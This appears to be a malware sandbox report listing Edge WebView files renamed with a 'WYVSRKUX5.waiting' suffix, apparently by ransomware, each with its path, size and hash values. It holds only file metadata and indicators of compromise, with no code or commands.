SSDEEP 49152:JJlcQBU4jRsf1xukHO6nF5vAiazfnYtDHW8TJRVjvmY659MwdclBk1btZRSfzWjr:JuGREfukBFO
TLSH
T17B95F9EFB0682DED8045950785D8A07C37C66D6DE759CBD86229CB20BEFD0719A21E0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

et.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\et.pak.DATA WYVSRKUX5.waiting
Size 983KB
SHA256 c7c05d53540a6497f929fe7f44e5738b73fe249e81c382e804dd03260403ebb0
MD5 6e36b74ec610e3e3a66b27a1b39735d6
SHA1 0c3dab3e3062116b4b08b7079b052615d62f4a0d
SHA512 59439cc33f40d5423cdd4ab17c728839af703da55f78c4578b0b3a735f4521c5c13afbe0d9aa51e3d00b9670f3145fc3e14850d0fb772cf847777828781405b7
SSDEEP 24576:G+AV85lqc+J5e9OOpqNcCDlzcQlI4KF6C7t8Mb44:vAalqc+J5evscCDAxt8B4
TLSH
T1492533BEA128EB5BFB153A902D047A3034121C6DBCE6E258513D2784D78F5D606DAF3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gd.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\gd.pak.DATA WYVSRKUX5.waiting
Size 1.2MB
SHA256 04c6b118afbad1831bebfbb3317daeb34554f2024e0c30d4d7cfd9a483127b31
MD5 c4011495f39418238e31859073a16c92
SHA1 18484dfd1118c1199bbde3c5d608d38606509242
SHA512 66e797af78b4394ac7d0ca15de7d05513b93aef78fdaee06b082f1d563adff67f955bf18c219f323064c10330b7f81362c1cdbe365eb9eb97420b4017a26ea9e
SSDEEP 24576:FIiE3QiIO14vQNLcWI7owJg+Vtf8cTKwfaQ3ry+l/nR3Mqy2AfTll51BB:d2QiEsLlIBJgA8Afaglupbll51z
TLSH
T11A45F17BA7D897F3C803D2D50102E4712814DDBAB113D55059AD283A5A23EECEFBDAC6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hi.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\hi.pak.DATA WYVSRKUX5.waiting
Size 2.1MB
SHA256 20e06a78ab99d458d63b0a6ce35ebb7e04af276c707e08020441a5dfffd448c8
MD5 34d6e9fa7da613c433849fe37e368df6
SHA1 1f0df73b7e51a30dad15d268695b318d094b4389
SHA512 20ef5d49ee67ba298a7e7007cb9e71746a1c56176b1bc277acae05cc1647dbbf4ca68e33763f6ea7530d3f9cfbe1448210d6f84f7db9ad90e3a44f1b1b8d1a47
SSDEEP 24576:BcBfS61coLyz9CagEwg94ULXXvn1GYaTdBPXn0B+ExIsH62I6yyG5oO:qBqiF+9CQwg94UL1GDTPXnTExKF9yGf
TLSH
T196A5940CE7BEF3B55DEC3C8A36880D37D5AC3671A3F552134895B3EB9944CB4116A2A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

is.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\is.pak.DATA WYVSRKUX5.waiting
Size 1.0MB
SHA256 e23d8a4eaba0a165e072d3f0d4f06a635f30518017154efab8d7dbc0edead4b1
MD5 ca57954f5f3f1f99740828bab413280a
SHA1 0e4d041c60295a41fd12661b3a948abd002c15c7
SHA512 27f308756042d78e8c477156740463858fc4d27b6dc5ec15f159ae2a94eeb266a0ca325c9d8e7836e3cd208897794eb53b3b9d71ee7c07cfc62d1b0dbf6abbfe
SSDEEP 24576:Q1zmpcXkW6OnufhQS5cVXio7r3c3TYX9fSaiOdkksXYh:Q170iufhQS5cRNLeK690bUy
TLSH
T1E2353317B01E10F97AEC5BE1662E2D194EFF0FB78D88CADD798B470C1862E65A875301
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ka.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\ka.pak.DATA WYVSRKUX5.waiting
Size 2.3MB
SHA256 c8ee1d871f7c8ff01d1426ba01c90f027a8fd1ac87925884ae346ce85ef9988b
MD5 74291efedcd88e98fa201aa09afebc27
SHA1 13a7c45ba3f495a2a8b560abb633f3b92e5888bf
SHA512 f550d649d4fdac1b912b329ba226cdd7e95b124cb9d5a0d6b427679fb00ac5a8b62ac58b735e849adf0f6b3b7230fe273f46a11e67764f94e329bfc52f1bb9cd
SSDEEP 24576:HQOqP2gojsxwI1rjKCuMFtE/q5NcSpl4ylFE/PwP2/JGqM5i1d8n38GSS:HQOqPHoKKMFu/q5NVplZnaPJ4b
TLSH
T1CCB5DC5139FF77309C5E21154672BB8AB7A48C8FF0C4843FD111F1A27993A056ABE3A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ko.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\ko.pak.DATA WYVSRKUX5.waiting
Size 1.0MB
SHA256 84d01dad7217a3a44896f5783d2677ba0c02a0034778fcbd5045fb89ff76e8c8
MD5 17d16b457f2f9cb8f37add3d7091cb91
SHA1 10b6c6cbbefca4ad96509101c5e94464d835d4ad
SHA512 ce4e73b355d6abf0d9e13883aeeeb4c7ce4e806c8db8a0a6b0a9a66db07d441594a73120863333517697f18ff98dbac7942d5a3a3320fd6933a34633530d9411
SSDEEP 24576:R4vbyNt5NS/UVePUB+hzYyY0TJLGBxN1wVj:R4I5s8UPUB+hcyF0xLu
TLSH
T1EA35237324CF10C529D38C82A8C9FB6EA3C5E5375F8312B0EC98CD1959759DB8543AAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mk.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\mk.pak.DATA WYVSRKUX5.waiting
Size 1.7MB
SHA256 8de8f7faeb393476c868ec394f001ad71ac03933c04a1ef77e77f25fcdadf193
MD5 83876b08cf027ec02b654236ee11590e
SHA1 acc567fae312424b0657fd8e9ce9de0999353ca5
SHA512 f51f3cb252e1e3c8533ca644e5fb9e733e316605dea6189ac80a11370ab718ce8824bee1ae8305581e1cc18b0b2da4f6313c02f9ff2da2e16c349d0c7a47a989
SSDEEP 24576:dkEmYwiGzUfOdT7NWDDJVG1uUWFvRcvSI1xEBOSfS:mE8UfOZIZVG9vSINSq
TLSH
T12785E6A14B9E74CB0501F45FD808BE0A3D9B45FE3FAB875211A11DBD35E20B886B635E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pa.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\pa.pak.DATA WYVSRKUX5.waiting
Size 2.1MB
SHA256 343ea80592eb9c389b86c8661b879868042d150df679dacce8e90a8a47cb707c
MD5 3e3c56426496918df97efbbdd91b2968
SHA1 7a6cfac76db5b8833f3cdf5dae60cf89b090ff6e
SHA512 1d3e55ea44cf0ef21b452ea92d3ca2974fe30ad1c3d872269b227107bf8d17e43f7fca41edfe199cf8bb9ac12c32608decfa938f318848f2820ea0cf655985dc
SSDEEP 24576:QJ8j/Eke1sOa0KSgHJyCHpdLlfN4dR98pKrU+qlU5Vc2UV:Qqzj/ppLZOkKgUe
TLSH
T17AA59300C84CE2B68FC8195D56E6977D10960D399CAFCF6D8580C65AF6D4F810ECBFA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sq.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\sq.pak.DATA WYVSRKUX5.waiting
Size 1.1MB
SHA256 6b589c3a0bbedd7585c0a8e430a92d59a7e802345abb1d020a5f32bf6fdaacdd
MD5 21a7f5f034e29c028fb30378d3ff61be
SHA1 c84cbca86fe5f3476c4c69f3ce011bca9e76fa2a
SHA512 36687b72b8afb06582c122527358407c6a498f1aac2d215a88ef3b894e94d1a30ded511c2e0ddb37d7f6127e39bed62de554cec7836b050feaf93c744005b316
SSDEEP 24576:5xhK39zE4OirwQ43FIl10Op0R5D144Rze8t1u:vhW9zC42Fap07144Rze8to
TLSH
T185352225A1B9E676C52722AA7A400D193FFD803D30D3ED6E6906AA37047777D02B9D0F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr-Cyrl-BA.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\sr-Cyrl-BA.pak.DATA WYVSRKUX5.waiting
Size 1.6MB
SHA256 427dcfaaedfe9591522e6cf84edfc86a9c8d248b55b9e9a3f912c11c5ec20a4c
MD5 515c26c731fb7e860e91928b883de2f4
SHA1 b1cd5c634f07012aff9b53acc9bfce6c9bfb5bb5
SHA512 d54a9207f1f65f93625e5d2b49aa3e3f8e8117dab40fc710beb68f3bf894424d24c42d90abf7e6fc9de9d2880aad860079577f9efa5e1a78c7651b6d92c4bcf1
SSDEEP 24576:oya++DiUjQWrr8a4D+HsVpbSZhjtrtPM7fjU52:faBQ2Q2rTjtrtPM7fjUo
TLSH
T11175F6B1879E64DB0501F41BD808BE493EEE51FF3FAB875211601DBD35E20B846BA25E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\sr.pak.DATA WYVSRKUX5.waiting
Size 1.6MB
SHA256 5bcfd486d488575d8d66e0943cd91794e5c6e66f8b5fde44b2c3c3d2151be0de
MD5 af41085408c5f1c9b644cc4382566f0b
SHA1 a7de14acb409679e48921483c5736758942f91cc
SHA512 7fe030318b578c87f745f64d0c41460f4c4c7c4b256cc00e4a9d34c17ba3dba306ee7dda36e8bdd9da742b0094d7562c8e91e9d84d413b2f4d13ab1caa922ca7
SSDEEP 24576:3cW0HrX6TdbqevTRdGSNudGbvOXIOQBju4l//5Cz6EgaUm:3cLEbqORcDxYT1XgGEgah
TLSH
T14875E6A1879E68DB0501F41BD808BE093EDF51FF3FAB875211641DBD35E20B846BA25E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sv.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\sv.pak.DATA WYVSRKUX5.waiting
Size 994KB
SHA256 7327ecf9a112432339f920d8f27f6705410b1380d848a084df5fcf6827c275c0
MD5 d8f6d28febe0fb63937f834814269197
SHA1 d25ef439abe3dbdf0ac749f2cc97374f4f1127ee
SHA512 3f71afd3e7760fbe0d33a11a62d2138b5bfdfa278dcb5f8357c963e6b16bb2099022b10384b5825c324bc0e721066df0ee7b97fa62b244298b42745bfea8b97c
SSDEEP 12288:S3JpzmoHFWNVq0k+fUwo5L2cveivCSNRDamMLk6XVK/pD7TrPMvoXoUV5FffJaZA:Uz1HFWDq+ULZAmMPq5vTZVXfJK087jKv
TLSH
T1572533D9A22FE6A69873E59FB1FC6BA05D625CB4273C8CB70CE50B086115DE446083FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

te.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\te.pak.DATA WYVSRKUX5.waiting
Size 2.3MB
SHA256 cf0c1580cce3bfd268678aed5a7d550e800035d58297717d2ecf6f407d5d61f2
MD5 7c03f17feda85653b1000955b585657a
SHA1 1819da6857a02a5b11e0496b338ca2b3342a34e9
SHA512 1aa9a3c9ea2e316598e185dd5535fb7a66249a21703c5a5df0666b0d36a442114d287758a90116f630771fdb13410d12abc0722fb7f670d9d14397f3ef385cdc
SSDEEP 24576:VdqRykWU3Hb7Z2M+vhlu8tPJNeUTXCugpk9sre+hLESd0WkE:CRyk3h2RuUD8phHESdn
TLSH
T176B52E02396AD210DBE702B7352CF6AC49781B42A1D6772C1EAF9357EB47D7E0843636
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tt.pak.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\tt.pak.DATA WYVSRKUX5.waiting
Size 1.6MB
SHA256 c95d2d9649a1f585bd787e1f7dec88bd33a1f907aea6e26fd71967f485a58bea
MD5 ed4bf16bcd7b3c73ccc62f9717c5c203
SHA1 64def9a1ecd10625e534c8a9c2f22b7b3fcbcc98
SHA512 b6ed94d357291e0763052e0590d26404a9f6879a8290b23711c7fadc7a73a1b0ec9d00358197c2ca5f28a4abfb2ea66032750c53cf43601667626450d1d5f1a6
SSDEEP 24576:ln9kdB86z29G347FymtxIEt6hTP7V2rFdqKTHMgTUOQ9mD:lna/o8mtx3UZV2rjqKTTQ9C
TLSH
T124752951A28A38EF9241F6462C04FB487CDA55FD3E0B76236419AC7E39E3274036E75B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

preloaded_data.pb.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\MEIPreload\preloaded_data.pb.DATA WYVSRKUX5.waiting
Size 9KB
SHA256 f600cea024565e5e8dc96ad51e88e4625c57dc0e132ea68900547f0d044c1e45
MD5 7501b76dc5317aa6068ace265a4bac01
SHA1 4ac7c298dbc74264e3c9af5dc9bed85b707a0101
SHA512 5e469a2534de0f0a5aaf2fd67d716666fb0384eea0c498c3dcc48ba3886c14253abe31b616b8956ea90d9af499cbf3ab00301115234ad0862e66f51c312d85f2
SSDEEP 192:VDT0yoG34hKOdHw3eMLxYey1qnEWEN9yzir0ZXcoyVesSrxNmk9g7i+S:VDT0yl34hRwFLxpsRNbr059yVX4Ikkw
TLSH
T14612CF6C98F30279CD8E3C4CBC1B8E5A3B13CD364BC70985F407214471E99ADED8A6A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Content.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Trust Protection Lists\Sigma\Content.DATA WYVSRKUX5.waiting
Size 1KB
SHA256 16199914daf91006e9f0500c4a66a451f7e86e8270a82812a2c022ff6a5da21d
MD5 5c89acc624b6fc017d6eeab04f190d13
SHA1 fb5eb1c41791638612be0d470a6297fea1173422
SHA512 d083633a2d37b15b93e10a7150aa4397fcb6718e548d2dab325147438330d7982e19acbaa473036b2987993120ebf3235604c13512389a9de5d7743d062817b9
TLSH
T1A0312A94E4D6983EC38F379D681CFE72FD430D61A375AE85093A04E020E6AD649EF0A5
MD5 SHA1 SHA512 TLSH

Submit Download

Cryptomining.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Trust Protection Lists\Sigma\Cryptomining.DATA
Size 1KB
SHA256 eb2516cf08658e8016219750c364a144a2f26c48b419afee1cb695625d8ee63f
MD5 d47dec6ad505efd17292c8db930ee216
SHA1 c31cdb76b1c66a8cbe221fc4ee2cb3f52a018344
SHA512 f11b4f6fcad4137515ccda2c1ad1b5d3abd3e18b9f913894d3b3558a8d9004618d0dd49fbc8876fc65b312d14166d21846184bfc7a37756fa7856c33c468f437
TLSH
T164312A94A0CB1D3E475F2ACD6415EE776C830A69DB7096D00824819011F3B9958BF4F4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Trust Protection Lists\manifest.json.DATA WYVSRKUX5.waiting
Size 1KB
SHA256 e53f745bb076dbf8bac037c7818d96680e15ba3f0a05f71af900619ddd9763fe
MD5 4210687409ed901328a9b748b8802bf6
SHA1 3dfb73eed7b7dbd89a2a9bbaa79544db63881acd
SHA512 0787aaa5e50d2d6e471a70eccee35a5e64a58fd1d09b43d30f488d8826fee43815a02c9330c13a964acf35dcd97ff93ac7ccb32885ac962ea86b5e1a8cfb5daa
TLSH
T162311AA2D45F24AB4906359DEC0CDE72A9C309B7977459400C29599413F1DD264FF0B0
MD5 SHA1 SHA512 TLSH

Submit Download

SmallLogoBeta.png.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\VisualElements\SmallLogoBeta.png.DATA WYVSRKUX5.waiting
Size 16KB
SHA256 d93b3d8ecb5580e0ada9a2d99158f48575ae44186467b274b214d451322da580
MD5 d6b2c61cb73ff75cbfc8d077d4c0a25d
SHA1 4fb67c0a01a73613560db4e98635989a5d8979a1
SHA512 fab8107ad8aed7db1caa0b62a1436cc079215e948670400aca1637d26b0bdee873109d9932507a4e16bd574fdaf01cbbb8fa6a89952ff0425739398423eb4815
SSDEEP 384:2cL04ouE3PiGjGq07PTy3junC1rBzqJ1NDYOmsPx+ol1Ikkw:2co40ZjGqITUanmlcBYOP0oUw
TLSH
T11A72D1D6C1223562571046E8B444EC3B2C8257B0FAF416292DACB1DE0761BBF6FBF494
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SmallLogoDev.png.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\VisualElements\SmallLogoDev.png.DATA WYVSRKUX5.waiting
Size 15KB
SHA256 adedf55aee9ecc7210a76bd379ce8021840f11de640df9cdc6463231072050c3
MD5 dd33d23320b71b26db5465c47122c2f9
SHA1 738b877c4a9d429e56f99e59fbe98cd988be9553
SHA512 2f4745e8919b07ac03da2bf6afc6626ea5bdf35b6c5db07a02baad4f6b7b905ef88123647cc4dca0420215c5e47910b333870ec1a9b5245cbeca0a681173dd41
SSDEEP 384:QKgNKGG48gMRYNk2jSP4bWWZjB7CzJ0jaTqLtE3zAFVoUhmzETeqTFArIkkw:QKR6Oe20SQbNZjBOcakimteqB/w
TLSH
T1B672C083B4C63D6E1E8D271790447B29168B25E18B7C5C55478D842CA7CE5CBE36A0FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pri.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\identity_proxy\resources.pri.DATA WYVSRKUX5.waiting
Size 5KB
SHA256 49f54a41b06825bee600a8f7d0b52640d059772250f4f936c182aaa0590ebe43
MD5 4d3eefefce5f0e729b499f8fb4fde8f2
SHA1 690610ad9bec4ee6d06f611008755621239dc73e
SHA512 e04d5e8e62e87d790453ac5a424c17bbc028d28f996e411cb6c94f234df64529d314b811b8b4d39fe0973893853bdf32737298f2cb0e0d1609f313d49b8e9bc4
SSDEEP 96:7TmOvP8J13X1f2oobRPWaohuh6w8j16k+Pxl9er0xnNmksog7i+S:7TmOvE/3FfYbRCS6wM6fxl9txNmk9g7w
TLSH
T1AEB1AEBECA0F085B8AC1B4DCF778FC189D4228A0B6E850D13590124DB4C9AA711EF7B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

identity_helper.Sparse.Internal.msix.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Internal.msix.DATA WYVSRKUX5.waiting
Size 58KB
SHA256 c8efb6e146bf4d6bfd0c7b52972559e3d756d4d5e97475fe0550213efbf3bf60
MD5 f5c2a8d69f86736732cad8c8b536baac
SHA1 2371cdee88f454c8de60fb5a82b52819134c3e9c
SHA512 61b2971e12af800a87e045f54f3a768db8eb2badf9b0a8e31d48b3578c26c5dc8e8690befd13a0cb40752a526aacbd05d59bb3b51466a0381b17a19f1e1586be
SSDEEP 1536:r3K38O31E9TdEjrjVQAF3fhZv5eObgEQ/Sshqn0nIFnw:u+ZarjSc3fhtXo/SknAnw
TLSH
T1A9430131180661739C578B79CDA0E3A4BB1ECBB580D4715DE25410E132FCCD5AEADAEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

identity_helper.Sparse.Dev.msix.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Dev.msix.DATA WYVSRKUX5.waiting
Size 54KB
SHA256 b54828d76d80bef126b81b48a266b3cfd7e44014b0ee20b407a272c0adc06139
MD5 bce0b7439d6d414edd6ffa863894bca0
SHA1 a4590c6f1f8fe897f61e55baf6269f875a3661e1
SHA512 4b367abc9a1ebdca673d6b1bac35f73307ab0636db0181185f0ff9436138ed5b4207d627dd21710442e8980177f246d614ead94deea1119f70c7a57bf701cca3
SSDEEP 1536:JFruuU9E+4Hzlz9apdBwb0VLW0Q28OO9A4Rfu74w:nu19E+8zlqdL4k4Rfukw
TLSH
T15443F20BB11FEEB3AB08508E4AF075A299F48A4DA1B7024DBDC1DD3A3335E1505E65B1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msedge.exe.sig.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\msedge.exe.sig.DATA WYVSRKUX5.waiting
Size 2KB
SHA256 b52a266ac966114c627c1fb648eefa2f11f09db851c0f338740c89b124c50243
MD5 9d7b8d275f54b8f2e548369921da06d1
SHA1 35fc1e1293eaa5d85ba60ee769dd4ae8aba1f819
SHA512 8b18187c70d3ee3c87bb0829cd83327f64dc685e3939599d93cd961ba427ac316019fdd9eafcaf26ae84ea0d1c975869b560f32c7060811e871233e495f70c47
TLSH
T1FF513B5592921EFA5B4976ED004CDDE9D9F20AF69B290890082A5D7442A4F4618FF8D2
MD5 SHA1 SHA512 TLSH

Submit Download

vk_swiftshader_icd.json.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\vk_swiftshader_icd.json.DATA WYVSRKUX5.waiting
Size 1KB
SHA256 ea88cbeda269c8f3237edfd333c12652804a927833f8631c0bec5821ae2355ee
MD5 f53c117988976d49d88c8ad9893e2583
SHA1 cf6eda66ca1b1fa890765fc3607ba3bb16d95098
SHA512 6d3b56f1620d7dcef28c406497582d7a0303a2b238a2dd3c058dd4eef6a0ff8c6176b97f2b2e6b9f7f8a063fd42a2619e6477e6c6452d28b3d8d8b2713b38420
TLSH
T1DC310A96A063442D418A6BDCA808ED362F530E7593B099C44E23119463E2BD69CAF0F5
MD5 SHA1 SHA512 TLSH

Submit Download

Analytics WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Mu\Analytics WYVSRKUX5.waiting
Size 6KB
SHA256 86d0b5fb966d0ddf4253a0dd597536dfc1b233008924257e8b4d7f9dbb98c7cd
MD5 5e34fb8f433e65f907fa93ea397c30f0
SHA1 eab7ef5a18f53fb728cc751533b0640cf0b6930d
SHA512 9c2c80ff08d5baa966899d988fce0fc1a0dce4644147a5d1d8159f894ce5c88c6daa26409cfb80f0ef535f8f04c50fea7974c0d2b9f878d1ed4d4b4280e8ebd1
SSDEEP 192:uZ6BT5NLZvQsgseeyj8RNk5h2vPxNmk9g7i+S:GWXLZ5eey2tv5Ikkw
TLSH
T1C3D1A0E11676281106FF3B45B4BC4E935CB1F39C37C1D206076545D451DA3886EAECA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Content WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Mu\Content WYVSRKUX5.waiting
Size 8KB
SHA256 abc869b82a121ae8c61057b116ead4511d1b97ac390607d5494cca710ef23995
MD5 dcab329bef0c1ad4e5eb7ccb38dd5280
SHA1 0b3ba9c32d14dd8182fcade2852482ba44ca96ee
SHA512 1f6670bdcb16c2102cd9789b5ae282326658b88018b602e27d82531c578741fd1f48504ea1c365051800fdbed7d0a60d5fdd4689de8fae5ea38c8f692eb8cec2
SSDEEP 192:xAhi2se/5NpDKUU2RCpYYZrDFO03KJ+0IEtLeO/fbxNmk9g7i+S:qhi2sc5NgUU20B3FO06Q0rtPFIkkw
TLSH
T1C702B055F0EA7C95D2520E488AEFFDA40B43456581C09BEC08D9F5D0F2DD2C0E8ED66C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Entities WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Mu\Entities WYVSRKUX5.waiting
Size 70KB
SHA256 e8d5deaa2cd22edb61dbec7187b4b2f4d5fa9504853197e552a8734d9ab3199b
MD5 bd2d56283564f9778a682e79e0d59fbb
SHA1 fcf577aedc34ec1f6d94e5b7f56dcee3aa87468d
SHA512 75ee9cf474ab952bbee09df6fba7a4597689eb3b239ea1d6875a3572095aeb6a6b03c302d6b821f9f9ff165a96620c4a83573ecc3485235df93068ea6ef60e0e
SSDEEP 1536:fx8yntMbQIyfR4/Q1p2JDNMHciRDyRwevZw0XVrhvw:f6ytIyfRDjSxMHci9iwEwEZw
TLSH
T16F631220F7758521DFA47EBD516B096C1BFC2480B23CAEE2566072C7594A3ECDCDAA0D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analytics WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Sigma\Analytics WYVSRKUX5.waiting
Size 1KB
SHA256 cd5107e9c366b8713bb19cd093ba8c867e3ade8d7c4aefaf7786cbd571003323
MD5 99f1c2309510f635a0eb0badb8c6a04e
SHA1 e86bef58da2bd093053e1eeb040950200d0973f6
SHA512 dfb9d7fe7e51e38b380198740305e7affb8d8f4e69e7542ac50a40f0c8ad5206d3ace61ef76047e40d19aa6b0640717c9f44a8adc7e50b59133bd7b57beac412
TLSH
T15F311A81C99F18BA46CB275C640CEE722E830978A7B9D6844D24446052E2ED58CEF0F1
MD5 SHA1 SHA512 TLSH

Submit Download

Cryptomining WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Sigma\Cryptomining WYVSRKUX5.waiting
Size 1KB
SHA256 9eda476f821ca9ca2c5ab9b2d7ca0d7a1eba22ff94584cb243f85cf31b84f631
MD5 65b580ea218df77c7bcaa2fc5444921b
SHA1 3076e31a0243a0faea062395413fa84de0af7818
SHA512 33ddeece67420155eafa7af4c100832899fb1485101b76fa0d1095a2eb026ab72698605c703284a2149a6dc9fc13c62eab0cdd7bfc9ee854c053cc3634ab85d0
TLSH
T124310CD460DB5C39850F399D5458ED727D830EB1A73457500439106C92F198699FF5F1
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Trust Protection Lists\Sigma\LICENSE
Size 1KB
SHA256 3d0482cfe6876958ee8e8fde42668f3fad5b7968fa826cdc47d0bb0d9729b770
MD5 ef7085c0df53bd4cf613a5f2a9f8aea1
SHA1 2a38e1d366a73ae51b070313ef9c0bb5b0ffeb9f
SHA512 53845c10d532d65bc7af03e5f11d4636a2698c3f29411651b2a3930fc84bb90143c59235f4620936162f91f5af591df9543607e3f41c6245ca7a71f6347b71f6
TLSH
T1B9312AA8CA8A247E860B394D5448EE62ACC30AA5937056410D75C0C0225ABCA48BF090
MD5 SHA1 SHA512 TLSH

Submit Download

LogoBeta.png WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\VisualElements\LogoBeta.png WYVSRKUX5.waiting
Size 30KB
SHA256 b7bd40197740cd3962cba411e012562040d707e2fdf05348334f3bec7d3735d2
MD5 6febed31dfd9ae19bc7672e71e929bf7
SHA1 09a380b14256c65f4fc587b73fc5e0cdf16c91ce
SHA512 4ccc0338de60cd330acf124e3a943ca6630e9d31cc278d428b9a463b05188df177a9828c160120a7bd307fee16a001627c0c8dc6dff8af39b7a1ca3d1df4f07d
SSDEEP 768:f1WDwD0YnKWaMq2iYiQIen+FRXaS0LIuKmbbRng12D+58vw:fAD2nva8rn+PXb2K+w
TLSH
T119E2F1361E7B18374A8C918198CE86743E33A1F9C06B7F218D2235DEF942ED726F5984
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LogoDev.png WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\VisualElements\LogoDev.png WYVSRKUX5.waiting
Size 30KB
SHA256 fba9ed4cf99a9600635ab0eff02ec9fec8a1704684f557923a607a3d50932307
MD5 7f658d0858ea71dbf3f3811985d47fbc
SHA1 305231242cb8233d6dc1302f9d4e5c7971055d50
SHA512 1b070bd76bf8e3ff31ca7e018fb7c4d19da474a283ad4e8b11d537f13de2bed07acd140c6e058c2e42f566edcb9153cd2bd05e55f4388b5d1e5a42bb875f16a1
SSDEEP 768:eYO3+v4AeyUk+nlcIRiJ0dvuF+0IGaDIZw:eGReLlcIRrQgGaDaw
TLSH
T1F5E2F226C43E34FA19EBBB28885E4D12604DA54C217497C65FAF02FFE69747C11A6AD0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

augloop_client.dll WYVSRKUX5.waiting

